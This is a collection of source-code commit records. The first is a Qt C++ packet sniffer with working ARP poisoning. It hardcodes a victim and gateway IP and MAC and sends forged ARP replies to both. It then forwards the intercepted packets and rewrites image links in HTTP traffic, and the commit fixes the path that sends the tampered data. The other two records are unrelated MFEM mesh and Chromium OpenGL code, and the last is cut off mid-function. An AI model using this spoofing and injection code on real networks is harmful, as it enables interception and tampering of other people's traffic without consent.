<commit_before>#include "mainwindow.h"
#include "ui_mainwindow.h"
#include "Sniffer.h"
#include "dialoginterface.h"
#include <QFileDialog>
#include <cstdlib>

MainWindow::MainWindow(QWidget *parent) :
    QMainWindow(parent),
    ui(new Ui::MainWindow)
{
    ui->setupUi(this);
    ui->pb_scroll->setCheckable(true);
    ui->tableWidget->setSelectionBehavior(QAbstractItemView::SelectRows);
    client1 = NULL;
    client2 = NULL;
    counter = 0;

    thread = new QThread();
    sniffer = new Sniffer();
    sniffer->moveToThread(thread);

    QTimer *timer = new QTimer(this);
    timer->setInterval(50);
    timer->start(100);
    connect(thread, SIGNAL(started()), sniffer, SLOT(Start()));
    connect(timer, SIGNAL(timeout()), this, SLOT(getNewPackets()));

    connect(ui->pb_sniff, SIGNAL(clicked()), this, SLOT(ToggleSniffer()));
    connect(ui->pb_clear, SIGNAL(clicked()), this, SLOT(Clear()));
    connect(ui->pb_load, SIGNAL(clicked()), this, SLOT(Load()));
    connect(ui->pb_save, SIGNAL(clicked()), this, SLOT(Save()));

#ifdef __linux__
    connect(ui->pb_arp, SIGNAL(clicked()), this, SLOT(ArpPoisoning()));
#endif
}

MainWindow::~MainWindow()
{
    delete ui;
}

void    MainWindow::Clear()
{
    sniffer->mutex.lock();
    ui->tableWidget->clearContents();
    ui->tableWidget->setRowCount(0);
    for (std::list<SniffedPacket *>::iterator it = sniffer->Packets.begin(); it != sniffer->Packets.end(); it++)
        delete *it;
    sniffer->Packets.clear();
    for (std::list<SniffedPacket *>::iterator it = this->Packets.begin(); it != this->Packets.end(); it++)
        delete *it;
    this->Packets.clear();
    sniffer->mutex.unlock();
}

void    MainWindow::getNewPackets()
{
    if (counter++ == 20)
    {
        counter = 0;
        this->refreshArp();
    }

    sniffer->mutex.lock();

    for (std::list<SniffedPacket *>::iterator it = sniffer->Packets.begin(); it != sniffer->Packets.end(); it++)
    {
        checkArp(*(*it));
        insertPacket(*(*it));
    }

    sniffer->Packets.clear();
    if (ui->pb_scroll->isChecked())
        ui->tableWidget->scrollToBottom();

    sniffer->mutex.unlock();
}

void    MainWindow::insertPacket(SniffedPacket &packet)
{
    int i = ui->tableWidget->rowCount();
    ui->tableWidget->insertRow(i);

    insertToIndex(packet.ip_source.c_str(), i, 0);
    insertToIndex(packet.ip_dest.c_str(), i, 1);
    insertToIndex(QString::number(packet.size), i, 2);
    insertToIndex(packet.protocol, i, 3);
    insertToIndex(packet.info, i, 4);

    this->Packets.push_back(&packet);
}

void    MainWindow::insertToIndex(const QString &str, int row, int col)
{
    QTableWidgetItem *item = new QTableWidgetItem(str);
    item->setFlags(Qt::ItemIsSelectable | Qt::ItemIsEnabled);
    if (col != 4)
        item->setTextAlignment(Qt::AlignCenter);
    ui->tableWidget->setItem(row, col, item);
}

void                MainWindow::StartSniffing(const std::string &interface)
{
    this->interface = interface;
    sniffer->Initialize(interface);
    thread->start();
    ui->pb_sniff->setText("STOP");
}

void                MainWindow::ToggleSniffer()
{
    if (this->sniffer->IsSniffing())
    {
        this->sniffer->Stop();
        if (!thread->wait(500))
        {
            thread->terminate();
            thread->wait();
        }
        this->sniffer->DeInitialize();
        ui->pb_sniff->setText("START");
        if (client1 != NULL)
        {
            delete client1;
            delete client2;
            client1 = NULL;
        }

        return ;
    }

    DialogInterface win(this);
    win.exec();
}

void                  MainWindow::Save()
{
    if (this->sniffer->IsSniffing())
        ToggleSniffer();

    QString           fileName = QFileDialog::getSaveFileName(this, tr("Save File"), "", tr("PCAP (*.pcap)"));

    std::ofstream file(fileName.toStdString(), std::ios::binary | std::ios::trunc | std::ios::out);
    if (file.is_open())
    {
        pcap_hdr_t	hdr;
        std::memset((char *) &hdr, 0, sizeof(hdr));
        hdr.magic_number = 0xA1B2C3D4;
        hdr.version_major = 2;
        hdr.version_minor = 4;
        hdr.snaplen = 65535;
        hdr.network = 1;
        file.write((char *) &hdr, sizeof(hdr));

        pcaprec_hdr_t hdrp;
        std::memset(&hdrp, 0, sizeof(hdrp));
        eth_hdr_t eth_hdr;
        eth_hdr.ether_type = 8;
        for (std::list<SniffedPacket *>::iterator it = this->Packets.begin(); it != this->Packets.end(); it++)
        {
            hdrp.incl_len = (*it)->size;
            if (!(*it)->has_ether_hdr)
                hdrp.incl_len += ETHER_HDR_SIZE;
            hdrp.orig_len = hdrp.incl_len;

            file.write((char *) &hdrp, sizeof(hdrp));
            if (!(*it)->has_ether_hdr)
                file.write((char *) &eth_hdr, ETHER_HDR_SIZE);
            file.write((*it)->data, (*it)->size);
        }

        file.close();
    }
    else
        qDebug() << "Unable to open file";
}

void                  MainWindow::Load()
{
  if (this->sniffer->IsSniffing())
      ToggleSniffer();

  Clear();

  QString           fileName = QFileDialog::getOpenFileName(this, tr("Load File"), "", tr("PCAP (*.pcap)"));
  std::streampos    size;
  char              *memblock;

  std::ifstream file(fileName.toStdString(), std::ios::in | std::ios::binary | std::ios::ate);
  if (file.is_open())
  {
    size = file.tellg();
    memblock = new char [size];
    file.seekg (0, std::ios::beg);
    file.read (memblock, size);
    file.close();

    pcap_hdr_t	&hdr = *(pcap_hdr_t *) memblock;
    if (hdr.magic_number != 0xa1b2c3d4)
    {
        qDebug() << "Wrong format";
        return ;
    }

    char *cursor = memblock + sizeof(hdr);
    pcaprec_hdr_t *hdrp;

    while ((int) (cursor - memblock) < size)
    {
      hdrp = (pcaprec_hdr_t *) cursor;

      cursor += sizeof(*hdrp);
      char  *data = cursor;

      Sniffer::ManagePacket(data, hdrp->incl_len, true);
      cursor += hdrp->incl_len;
    }

    delete[] memblock;
  }
  else
      qDebug() << "Unable to open file";
}

void                MainWindow::ArpPoisoning()
{
    mac[0] = 0x60;
    mac[1] = 0x67;
    mac[2] = 0x20;
    mac[3] = 0x1a;
    mac[4] = 0xc7;
    mac[5] = 0xd0;

    client_t    *client = new client_t;
    client->ip = "192.168.43.123";
    client->mac[0] = 0x60;
    client->mac[1] = 0x67;
    client->mac[2] = 0x20;
    client->mac[3] = 0x1a;
    client->mac[4] = 0xa2;
    client->mac[5] = 0xfc;
    client1 = client;
    client = new client_t;
    client->ip = "192.168.43.1";
    client->mac[0] = 0x98;
    client->mac[1] = 0x0c;
    client->mac[2] = 0x82;
    client->mac[3] = 0xb0;
    client->mac[4] = 0xd7;
    client->mac[5] = 0x68;
    client2 = client;
}

void            MainWindow::refreshArp()
{
#ifdef __linux__
    if (client1 == NULL || client2 == NULL || !this->sniffer->IsSniffing())
        return;

    int                 sock;
    char                packet[PKTLEN];
    struct ether_header *eth = (struct ether_header *) packet;
    struct ether_arp    *arp = (struct ether_arp *) (packet + sizeof(struct ether_header));
    struct sockaddr_ll  device;

    sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ARP));
    if (sock < 0)
        qDebug() << "fail socket";

    client_t    *client = client1;
    for (int i = 0; i < 2; ++i)
    {
        // To
        sscanf((client == client1 ? client2->ip : client1->ip).c_str(), "%d.%d.%d.%d", (int *) &arp->arp_spa[0],
                                       (int *) &arp->arp_spa[1],
                                       (int *) &arp->arp_spa[2],
                                       (int *) &arp->arp_spa[3]);
        // From
        std::memcpy(arp->arp_tha, client->mac, 6);
        // By
        std::memcpy(arp->arp_sha, mac, 6);

        memcpy(eth->ether_dhost, arp->arp_tha, ETH_ALEN);
        memcpy(eth->ether_shost, arp->arp_sha, ETH_ALEN);
        eth->ether_type = htons(ETH_P_ARP);

        arp->ea_hdr.ar_hrd = htons(ARPHRD_ETHER);
        arp->ea_hdr.ar_pro = htons(ETH_P_IP);
        arp->ea_hdr.ar_hln = ETH_ALEN;
        arp->ea_hdr.ar_pln = IP4LEN;
        arp->ea_hdr.ar_op = htons(ARPOP_REPLY);

        memset(&device, 0, sizeof(device));
        device.sll_ifindex = if_nametoindex(this->interface.c_str());
        device.sll_family = AF_PACKET;
        memcpy(device.sll_addr, arp->arp_sha, ETH_ALEN);
        device.sll_halen = htons(ETH_ALEN);

        sendto(sock, packet, PKTLEN, 0, (struct sockaddr *) &device, sizeof(device));
        client = client2;
    }

    ::close(sock);
#endif
}

void    MainWindow::checkArp(SniffedPacket &packet)
{
    if (client1 == NULL || client2 == NULL || !packet.has_ether_hdr)
        return;

    QByteArray array = QByteArray(packet.data + 6, 6);
    QByteArray array2 = QByteArray(mac, 6);

    eth_hdr_t *eth = (eth_hdr_t *) packet.data;
    if (strncmp(eth->ether_dhost, mac, 6))
        return;

    if (!(client1->ip == packet.ip_source && client2->ip == packet.ip_dest) &&
            !(client2->ip == packet.ip_source && client1->ip == packet.ip_dest))
        return;

    int                  sd;
    struct sockaddr_in   sin;
    int                  one = 1;
    const int            *val = &one;

    sd = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);
    if(sd < 0)
        return;

    IP_HDR  *ip = (IP_HDR *) (packet.data + ETHER_HDR_SIZE);

    sin.sin_family = AF_INET;
    sin.sin_port = 0;
    sin.sin_addr.s_addr = ip->ip_destaddr;

    if (setsockopt(sd, IPPROTO_IP, IP_HDRINCL, (char *) val, sizeof(one)) < 0)
        return;

    // Image replace
    if (packet.protocol == "TCP" && packet.dport == 80)
    {
        std::string tofind("img src=");
        std::string toreplace("img src=\"http://upload.wikimedia.org/wikipedia/fr/f/fb/C-dans-l'air.png\"");
        std::size_t index;
        std::string data(packet.data, packet.size);

        while ((index = data.find(tofind)) != std::string::npos)
        {
            packet.size += toreplace.length() - tofind.length();
            data.replace(index, tofind.length(), toreplace);
        }
    }

 #ifdef _WIN32
    sendto(sd, packet.data, packet.size, 0, (struct sockaddr *)&sin, sizeof(sin));
    closesocket(sd);
 #elif __linux__
    sendto(sd, packet.data + ETHER_HDR_SIZE, packet.size - ETHER_HDR_SIZE, 0, (struct sockaddr *)&sin, sizeof(sin));
    ::close(sd);
 #endif
}
<commit_msg>fix data arp send<commit_after>#include "mainwindow.h"
#include "ui_mainwindow.h"
#include "Sniffer.h"
#include "dialoginterface.h"
#include <QFileDialog>
#include <cstdlib>

MainWindow::MainWindow(QWidget *parent) :
    QMainWindow(parent),
    ui(new Ui::MainWindow)
{
    ui->setupUi(this);
    ui->pb_scroll->setCheckable(true);
    ui->tableWidget->setSelectionBehavior(QAbstractItemView::SelectRows);
    client1 = NULL;
    client2 = NULL;
    counter = 0;

    thread = new QThread();
    sniffer = new Sniffer();
    sniffer->moveToThread(thread);

    QTimer *timer = new QTimer(this);
    timer->setInterval(50);
    timer->start(100);
    connect(thread, SIGNAL(started()), sniffer, SLOT(Start()));
    connect(timer, SIGNAL(timeout()), this, SLOT(getNewPackets()));

    connect(ui->pb_sniff, SIGNAL(clicked()), this, SLOT(ToggleSniffer()));
    connect(ui->pb_clear, SIGNAL(clicked()), this, SLOT(Clear()));
    connect(ui->pb_load, SIGNAL(clicked()), this, SLOT(Load()));
    connect(ui->pb_save, SIGNAL(clicked()), this, SLOT(Save()));

#ifdef __linux__
    connect(ui->pb_arp, SIGNAL(clicked()), this, SLOT(ArpPoisoning()));
#endif
}

MainWindow::~MainWindow()
{
    delete ui;
}

void    MainWindow::Clear()
{
    sniffer->mutex.lock();
    ui->tableWidget->clearContents();
    ui->tableWidget->setRowCount(0);
    for (std::list<SniffedPacket *>::iterator it = sniffer->Packets.begin(); it != sniffer->Packets.end(); it++)
        delete *it;
    sniffer->Packets.clear();
    for (std::list<SniffedPacket *>::iterator it = this->Packets.begin(); it != this->Packets.end(); it++)
        delete *it;
    this->Packets.clear();
    sniffer->mutex.unlock();
}

void    MainWindow::getNewPackets()
{
    if (counter++ == 20)
    {
        counter = 0;
        this->refreshArp();
    }

    sniffer->mutex.lock();

    for (std::list<SniffedPacket *>::iterator it = sniffer->Packets.begin(); it != sniffer->Packets.end(); it++)
    {
        checkArp(*(*it));
        insertPacket(*(*it));
    }

    sniffer->Packets.clear();
    if (ui->pb_scroll->isChecked())
        ui->tableWidget->scrollToBottom();

    sniffer->mutex.unlock();
}

void    MainWindow::insertPacket(SniffedPacket &packet)
{
    int i = ui->tableWidget->rowCount();
    ui->tableWidget->insertRow(i);

    insertToIndex(packet.ip_source.c_str(), i, 0);
    insertToIndex(packet.ip_dest.c_str(), i, 1);
    insertToIndex(QString::number(packet.size), i, 2);
    insertToIndex(packet.protocol, i, 3);
    insertToIndex(packet.info, i, 4);

    this->Packets.push_back(&packet);
}

void    MainWindow::insertToIndex(const QString &str, int row, int col)
{
    QTableWidgetItem *item = new QTableWidgetItem(str);
    item->setFlags(Qt::ItemIsSelectable | Qt::ItemIsEnabled);
    if (col != 4)
        item->setTextAlignment(Qt::AlignCenter);
    ui->tableWidget->setItem(row, col, item);
}

void                MainWindow::StartSniffing(const std::string &interface)
{
    this->interface = interface;
    sniffer->Initialize(interface);
    thread->start();
    ui->pb_sniff->setText("STOP");
}

void                MainWindow::ToggleSniffer()
{
    if (this->sniffer->IsSniffing())
    {
        this->sniffer->Stop();
        if (!thread->wait(500))
        {
            thread->terminate();
            thread->wait();
        }
        this->sniffer->DeInitialize();
        ui->pb_sniff->setText("START");
        if (client1 != NULL)
        {
            delete client1;
            delete client2;
            client1 = NULL;
        }

        return ;
    }

    DialogInterface win(this);
    win.exec();
}

void                  MainWindow::Save()
{
    if (this->sniffer->IsSniffing())
        ToggleSniffer();

    QString           fileName = QFileDialog::getSaveFileName(this, tr("Save File"), "", tr("PCAP (*.pcap)"));

    std::ofstream file(fileName.toStdString(), std::ios::binary | std::ios::trunc | std::ios::out);
    if (file.is_open())
    {
        pcap_hdr_t	hdr;
        std::memset((char *) &hdr, 0, sizeof(hdr));
        hdr.magic_number = 0xA1B2C3D4;
        hdr.version_major = 2;
        hdr.version_minor = 4;
        hdr.snaplen = 65535;
        hdr.network = 1;
        file.write((char *) &hdr, sizeof(hdr));

        pcaprec_hdr_t hdrp;
        std::memset(&hdrp, 0, sizeof(hdrp));
        eth_hdr_t eth_hdr;
        eth_hdr.ether_type = 8;
        for (std::list<SniffedPacket *>::iterator it = this->Packets.begin(); it != this->Packets.end(); it++)
        {
            hdrp.incl_len = (*it)->size;
            if (!(*it)->has_ether_hdr)
                hdrp.incl_len += ETHER_HDR_SIZE;
            hdrp.orig_len = hdrp.incl_len;

            file.write((char *) &hdrp, sizeof(hdrp));
            if (!(*it)->has_ether_hdr)
                file.write((char *) &eth_hdr, ETHER_HDR_SIZE);
            file.write((*it)->data, (*it)->size);
        }

        file.close();
    }
    else
        qDebug() << "Unable to open file";
}

void                  MainWindow::Load()
{
  if (this->sniffer->IsSniffing())
      ToggleSniffer();

  Clear();

  QString           fileName = QFileDialog::getOpenFileName(this, tr("Load File"), "", tr("PCAP (*.pcap)"));
  std::streampos    size;
  char              *memblock;

  std::ifstream file(fileName.toStdString(), std::ios::in | std::ios::binary | std::ios::ate);
  if (file.is_open())
  {
    size = file.tellg();
    memblock = new char [size];
    file.seekg (0, std::ios::beg);
    file.read (memblock, size);
    file.close();

    pcap_hdr_t	&hdr = *(pcap_hdr_t *) memblock;
    if (hdr.magic_number != 0xa1b2c3d4)
    {
        qDebug() << "Wrong format";
        return ;
    }

    char *cursor = memblock + sizeof(hdr);
    pcaprec_hdr_t *hdrp;

    while ((int) (cursor - memblock) < size)
    {
      hdrp = (pcaprec_hdr_t *) cursor;

      cursor += sizeof(*hdrp);
      char  *data = cursor;

      Sniffer::ManagePacket(data, hdrp->incl_len, true);
      cursor += hdrp->incl_len;
    }

    delete[] memblock;
  }
  else
      qDebug() << "Unable to open file";
}

void                MainWindow::ArpPoisoning()
{
    mac[0] = 0x60;
    mac[1] = 0x67;
    mac[2] = 0x20;
    mac[3] = 0x1a;
    mac[4] = 0xc7;
    mac[5] = 0xd0;

    client_t    *client = new client_t;
    client->ip = "192.168.43.123";
    client->mac[0] = 0x60;
    client->mac[1] = 0x67;
    client->mac[2] = 0x20;
    client->mac[3] = 0x1a;
    client->mac[4] = 0xa2;
    client->mac[5] = 0xfc;
    client1 = client;
    client = new client_t;
    client->ip = "192.168.43.1";
    client->mac[0] = 0x98;
    client->mac[1] = 0x0c;
    client->mac[2] = 0x82;
    client->mac[3] = 0xb0;
    client->mac[4] = 0xd7;
    client->mac[5] = 0x68;
    client2 = client;
}

void            MainWindow::refreshArp()
{
#ifdef __linux__
    if (client1 == NULL || client2 == NULL || !this->sniffer->IsSniffing())
        return;

    int                 sock;
    char                packet[PKTLEN];
    struct ether_header *eth = (struct ether_header *) packet;
    struct ether_arp    *arp = (struct ether_arp *) (packet + sizeof(struct ether_header));
    struct sockaddr_ll  device;

    sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ARP));
    if (sock < 0)
        qDebug() << "fail socket";

    client_t    *client = client1;
    for (int i = 0; i < 2; ++i)
    {
        // To
        sscanf((client == client1 ? client2->ip : client1->ip).c_str(), "%d.%d.%d.%d", (int *) &arp->arp_spa[0],
                                       (int *) &arp->arp_spa[1],
                                       (int *) &arp->arp_spa[2],
                                       (int *) &arp->arp_spa[3]);
        // From
        std::memcpy(arp->arp_tha, client->mac, 6);
        // By
        std::memcpy(arp->arp_sha, mac, 6);

        memcpy(eth->ether_dhost, arp->arp_tha, ETH_ALEN);
        memcpy(eth->ether_shost, arp->arp_sha, ETH_ALEN);
        eth->ether_type = htons(ETH_P_ARP);

        arp->ea_hdr.ar_hrd = htons(ARPHRD_ETHER);
        arp->ea_hdr.ar_pro = htons(ETH_P_IP);
        arp->ea_hdr.ar_hln = ETH_ALEN;
        arp->ea_hdr.ar_pln = IP4LEN;
        arp->ea_hdr.ar_op = htons(ARPOP_REPLY);

        memset(&device, 0, sizeof(device));
        device.sll_ifindex = if_nametoindex(this->interface.c_str());
        device.sll_family = AF_PACKET;
        memcpy(device.sll_addr, arp->arp_sha, ETH_ALEN);
        device.sll_halen = htons(ETH_ALEN);

        sendto(sock, packet, PKTLEN, 0, (struct sockaddr *) &device, sizeof(device));
        client = client2;
    }

    ::close(sock);
#endif
}

void    MainWindow::checkArp(SniffedPacket &packet)
{
    if (client1 == NULL || client2 == NULL || !packet.has_ether_hdr)
        return;

    QByteArray array = QByteArray(packet.data + 6, 6);
    QByteArray array2 = QByteArray(mac, 6);

    eth_hdr_t *eth = (eth_hdr_t *) packet.data;
    if (strncmp(eth->ether_dhost, mac, 6))
        return;

    if (!(client1->ip == packet.ip_source && client2->ip == packet.ip_dest) &&
            !(client2->ip == packet.ip_source && client1->ip == packet.ip_dest))
        return;

    int                  sd;
    struct sockaddr_in   sin;
    int                  one = 1;
    const int            *val = &one;

    sd = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);
    if(sd < 0)
        return;

    IP_HDR  *ip = (IP_HDR *) (packet.data + ETHER_HDR_SIZE);

    sin.sin_family = AF_INET;
    sin.sin_port = 0;
    sin.sin_addr.s_addr = ip->ip_destaddr;

    if (setsockopt(sd, IPPROTO_IP, IP_HDRINCL, (char *) val, sizeof(one)) < 0)
        return;

    // Image replace
    std::string data(packet.data, packet.size);
    if (packet.protocol == "TCP" && packet.dport == 80)
    {
        std::string tofind("img src=");
        std::string toreplace("img src=\"http://upload.wikimedia.org/wikipedia/fr/f/fb/C-dans-l'air.png\"");
        std::size_t index;

        while ((index = data.find(tofind)) != std::string::npos)
        {
            packet.size += toreplace.length() - tofind.length();
            data.replace(index, tofind.length(), toreplace);
        }
    }

 #ifdef _WIN32
    sendto(sd, data.c_str(), packet.size, 0, (struct sockaddr *)&sin, sizeof(sin));
    closesocket(sd);
 #elif __linux__
    sendto(sd, packet.data + ETHER_HDR_SIZE, packet.size - ETHER_HDR_SIZE, 0, (struct sockaddr *)&sin, sizeof(sin));
    ::close(sd);
 #endif
}
<|endoftext|>


<commit_before>// Copyright (c) 2010, Lawrence Livermore National Security, LLC. Produced at
// the Lawrence Livermore National Laboratory. LLNL-CODE-443211. All Rights
// reserved. See file COPYRIGHT for details.
//
// This file is part of the MFEM library. For more information and source code
// availability see http://mfem.org.
//
// MFEM is free software; you can redistribute it and/or modify it under the
// terms of the GNU Lesser General Public License (as published by the Free
// Software Foundation) version 2.1 dated February 1999.

#ifndef MFEM_PRISM
#define MFEM_PRISM

#include "../config/config.hpp"
#include "element.hpp"

namespace mfem
{

/// Data type Prism element
class Prism : public Element
{
protected:
   int indices[6];

   // Rrefinement not yet supported
   // int refinement_flag;

   // Not sure what this might be
   // unsigned transform;

public:
   typedef Geometry::Constants<Geometry::PRISM> geom_t;

   Prism() : Element(Geometry::PRISM) { }

   /// Constructs prism by specifying the indices and the attribute.
   Prism(const int *ind, int attr = 1);

   /// Constructs prism by specifying the indices and the attribute.
   Prism(int ind1, int ind2, int ind3, int ind4, int ind5, int ind6,
         int attr = 1);

   /// Return element's type.
   virtual Type GetType() const { return Element::PRISM; }

   // void  ParseRefinementFlag(int refinement_edges[2], int &type, int &flag);
   // void CreateRefinementFlag(int refinement_edges[2], int  type, int  flag = 0);

   // void GetMarkedFace(const int face, int *fv);

   // virtual int GetRefinementFlag() { return refinement_flag; }

   // void SetRefinementFlag(int rf) { refinement_flag = rf; }

   /// Return 1 if the element needs refinement in order to get conforming mesh.
   // virtual int NeedRefinement(DSTable &v_to_v, int *middle) const;

   /// Set the vertices according to the given input.
   virtual void SetVertices(const int *ind);

   /// Mark the longest edge by assuming/changing the order of the vertices.
   virtual void MarkEdge(DenseMatrix &pmat) { }

   /** Reorder the vertices so that the longest edge is from vertex 0
       to vertex 1. If called it should be once from the mesh constructor,
       because the order may be used later for setting the edges. **/
   // virtual void MarkEdge(const DSTable &v_to_v, const int *length);

   // virtual void ResetTransform(int tr) { transform = tr; }
   // virtual unsigned GetTransform() const { return transform; }

   /// Add 'tr' to the current chain of coarse-fine transformations.
   // virtual void PushTransform(int tr)
   // { transform = (transform << 3) | (tr + 1); }

   /// Calculate point matrix corresponding to a chain of transformations.
   // static void GetPointMatrix(unsigned transform, DenseMatrix &pm);

   /// Returns the indices of the element's  vertices.
   virtual void GetVertices(Array<int> &v) const;

   virtual int *GetVertices() { return indices; }

   virtual int GetNVertices() const { return 6; }

   virtual int GetNEdges() const { return 9; }

   virtual const int *GetEdgeVertices(int ei) const
   { return geom_t::Edges[ei]; }

   virtual int GetNFaces(int &nFaceVertices) const
   { nFaceVertices = 3; return 5; }

   virtual int GetNFaceVerticess(int fi) const
   { return ( ( fi < 2 ) ? 3 : 4); }

   virtual const int *GetFaceVertices(int fi) const
   { MFEM_ABORT("not implemented"); return NULL; }

   virtual Element *Duplicate(Mesh *m) const
   { return new Prism(indices, attribute); }

   virtual ~Prism() { }
};

extern BiLinear3DFiniteElement PrismFE;

}

#endif
<commit_msg>Implementing Prism::GetFaceVertices<commit_after>// Copyright (c) 2010, Lawrence Livermore National Security, LLC. Produced at
// the Lawrence Livermore National Laboratory. LLNL-CODE-443211. All Rights
// reserved. See file COPYRIGHT for details.
//
// This file is part of the MFEM library. For more information and source code
// availability see http://mfem.org.
//
// MFEM is free software; you can redistribute it and/or modify it under the
// terms of the GNU Lesser General Public License (as published by the Free
// Software Foundation) version 2.1 dated February 1999.

#ifndef MFEM_PRISM
#define MFEM_PRISM

#include "../config/config.hpp"
#include "element.hpp"

namespace mfem
{

/// Data type Prism element
class Prism : public Element
{
protected:
   int indices[6];

   // Rrefinement not yet supported
   // int refinement_flag;

   // Not sure what this might be
   // unsigned transform;

public:
   typedef Geometry::Constants<Geometry::PRISM> geom_t;

   Prism() : Element(Geometry::PRISM) { }

   /// Constructs prism by specifying the indices and the attribute.
   Prism(const int *ind, int attr = 1);

   /// Constructs prism by specifying the indices and the attribute.
   Prism(int ind1, int ind2, int ind3, int ind4, int ind5, int ind6,
         int attr = 1);

   /// Return element's type.
   virtual Type GetType() const { return Element::PRISM; }

   // void  ParseRefinementFlag(int refinement_edges[2], int &type, int &flag);
   // void CreateRefinementFlag(int refinement_edges[2], int  type, int  flag = 0);

   // void GetMarkedFace(const int face, int *fv);

   // virtual int GetRefinementFlag() { return refinement_flag; }

   // void SetRefinementFlag(int rf) { refinement_flag = rf; }

   /// Return 1 if the element needs refinement in order to get conforming mesh.
   // virtual int NeedRefinement(DSTable &v_to_v, int *middle) const;

   /// Set the vertices according to the given input.
   virtual void SetVertices(const int *ind);

   /// Mark the longest edge by assuming/changing the order of the vertices.
   virtual void MarkEdge(DenseMatrix &pmat) { }

   /** Reorder the vertices so that the longest edge is from vertex 0
       to vertex 1. If called it should be once from the mesh constructor,
       because the order may be used later for setting the edges. **/
   // virtual void MarkEdge(const DSTable &v_to_v, const int *length);

   // virtual void ResetTransform(int tr) { transform = tr; }
   // virtual unsigned GetTransform() const { return transform; }

   /// Add 'tr' to the current chain of coarse-fine transformations.
   // virtual void PushTransform(int tr)
   // { transform = (transform << 3) | (tr + 1); }

   /// Calculate point matrix corresponding to a chain of transformations.
   // static void GetPointMatrix(unsigned transform, DenseMatrix &pm);

   /// Returns the indices of the element's  vertices.
   virtual void GetVertices(Array<int> &v) const;

   virtual int *GetVertices() { return indices; }

   virtual int GetNVertices() const { return 6; }

   virtual int GetNEdges() const { return 9; }

   virtual const int *GetEdgeVertices(int ei) const
   { return geom_t::Edges[ei]; }

   virtual int GetNFaces(int &nFaceVertices) const
   { nFaceVertices = 4; return 5; }

   virtual int GetNFaceVerticess(int fi) const
   { return ( ( fi < 2 ) ? 3 : 4); }

   virtual const int *GetFaceVertices(int fi) const
   { return geom_t::FaceVert[fi]; }

   virtual Element *Duplicate(Mesh *m) const
   { return new Prism(indices, attribute); }

   virtual ~Prism() { }
};

extern BiLinear3DFiniteElement PrismFE;

}

#endif
<|endoftext|>


<commit_before>// Copyright (c) 2010 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

// This file implements the ViewGLContext and PbufferGLContext classes.

#include <dlfcn.h>
#include <GL/glew.h>
#include <GL/glxew.h>
#include <GL/glx.h>
#include <GL/osmew.h>
#include <X11/Xlib.h>
#include <X11/Xutil.h>

#include "app/x11_util.h"
#include "base/logging.h"
#include "base/scoped_ptr.h"
#include "app/gfx/gl/gl_context.h"
#include "app/gfx/gl/gl_context_osmesa.h"

namespace gfx {

typedef GLXContext GLContextHandle;
typedef GLXPbuffer PbufferHandle;

// This class is a wrapper around a GL context that renders directly to a
// window.
class ViewGLContext : public GLContext {
 public:
  explicit ViewGLContext(gfx::PluginWindowHandle window)
      : window_(window),
        context_(NULL) {
    DCHECK(window);
  }

  // Initializes the GL context.
  bool Initialize(bool multisampled);

  virtual void Destroy();
  virtual bool MakeCurrent();
  virtual bool IsCurrent();
  virtual bool IsOffscreen();
  virtual void SwapBuffers();
  virtual gfx::Size GetSize();
  virtual void* GetHandle();

 private:
  gfx::PluginWindowHandle window_;
  GLContextHandle context_;

  DISALLOW_COPY_AND_ASSIGN(ViewGLContext);
};

// This class is a wrapper around a GL context used for offscreen rendering.
// It is initially backed by a 1x1 pbuffer. Use it to create an FBO to do useful
// rendering.
class PbufferGLContext : public GLContext {
 public:
  explicit PbufferGLContext()
      : context_(NULL),
        pbuffer_(0) {
  }

  // Initializes the GL context.
  bool Initialize(void* shared_handle);

  virtual void Destroy();
  virtual bool MakeCurrent();
  virtual bool IsCurrent();
  virtual bool IsOffscreen();
  virtual void SwapBuffers();
  virtual gfx::Size GetSize();
  virtual void* GetHandle();

 private:
  GLContextHandle context_;
  PbufferHandle pbuffer_;

  DISALLOW_COPY_AND_ASSIGN(PbufferGLContext);
};

// scoped_ptr functor for XFree(). Use as follows:
//   scoped_ptr_malloc<XVisualInfo, ScopedPtrXFree> foo(...);
// where "XVisualInfo" is any X type that is freed with XFree.
class ScopedPtrXFree {
 public:
  void operator()(void* x) const {
    ::XFree(x);
  }
};

// Some versions of NVIDIA's GL libGL.so include a broken version of
// dlopen/dlsym, and so linking it into chrome breaks it. So we dynamically
// load it, and use glew to dynamically resolve symbols.
// See http://code.google.com/p/chromium/issues/detail?id=16800

static bool InitializeOneOff() {
  static bool initialized = false;
  if (initialized)
    return true;

  osmewInit();
  if (!OSMesaCreateContext) {
    void* handle = dlopen("libGL.so.1", RTLD_LAZY | RTLD_GLOBAL);
    if (!handle) {
      LOG(ERROR) << "Could not find libGL.so.1";
      return false;
    }

    // Initializes context-independent parts of GLEW
    if (glxewInit() != GLEW_OK) {
      LOG(ERROR) << "glxewInit failed";
      return false;
    }
    // glxewContextInit really only needs a display connection to
    // complete, and we don't want to have to create an OpenGL context
    // just to get access to GLX 1.3 entry points to create pbuffers.
    // We therefore added a glxewContextInitWithDisplay entry point.
    Display* display = x11_util::GetXDisplay();
    if (glxewContextInitWithDisplay(display) != GLEW_OK) {
      LOG(ERROR) << "glxewContextInit failed";
      return false;
    }
  }

  initialized = true;
  return true;
}

bool ViewGLContext::Initialize(bool multisampled) {
  if (multisampled) {
    DLOG(WARNING) << "Multisampling not implemented.";
  }

  Display* display = x11_util::GetXDisplay();
  XWindowAttributes attributes;
  XGetWindowAttributes(display, window_, &attributes);
  XVisualInfo visual_info_template;
  visual_info_template.visualid = XVisualIDFromVisual(attributes.visual);
  int visual_info_count = 0;
  scoped_ptr_malloc<XVisualInfo, ScopedPtrXFree> visual_info_list(
      XGetVisualInfo(display, VisualIDMask,
                     &visual_info_template,
                     &visual_info_count));
  DCHECK(visual_info_list.get());
  DCHECK_GT(visual_info_count, 0);
  context_ = NULL;
  for (int i = 0; i < visual_info_count; ++i) {
    context_ = glXCreateContext(display, visual_info_list.get() + i, 0, True);
    if (context_)
      break;
  }
  if (!context_) {
    DLOG(ERROR) << "Couldn't create GL context.";
    return false;
  }

  if (!MakeCurrent()) {
    Destroy();
    DLOG(ERROR) << "Couldn't make context current for initialization.";
    return false;
  }

  if (!InitializeGLEW()) {
    Destroy();
    return false;
  }

  if (!InitializeCommon()) {
    Destroy();
    return false;
  }

  return true;
}

void ViewGLContext::Destroy() {
  Display* display = x11_util::GetXDisplay();
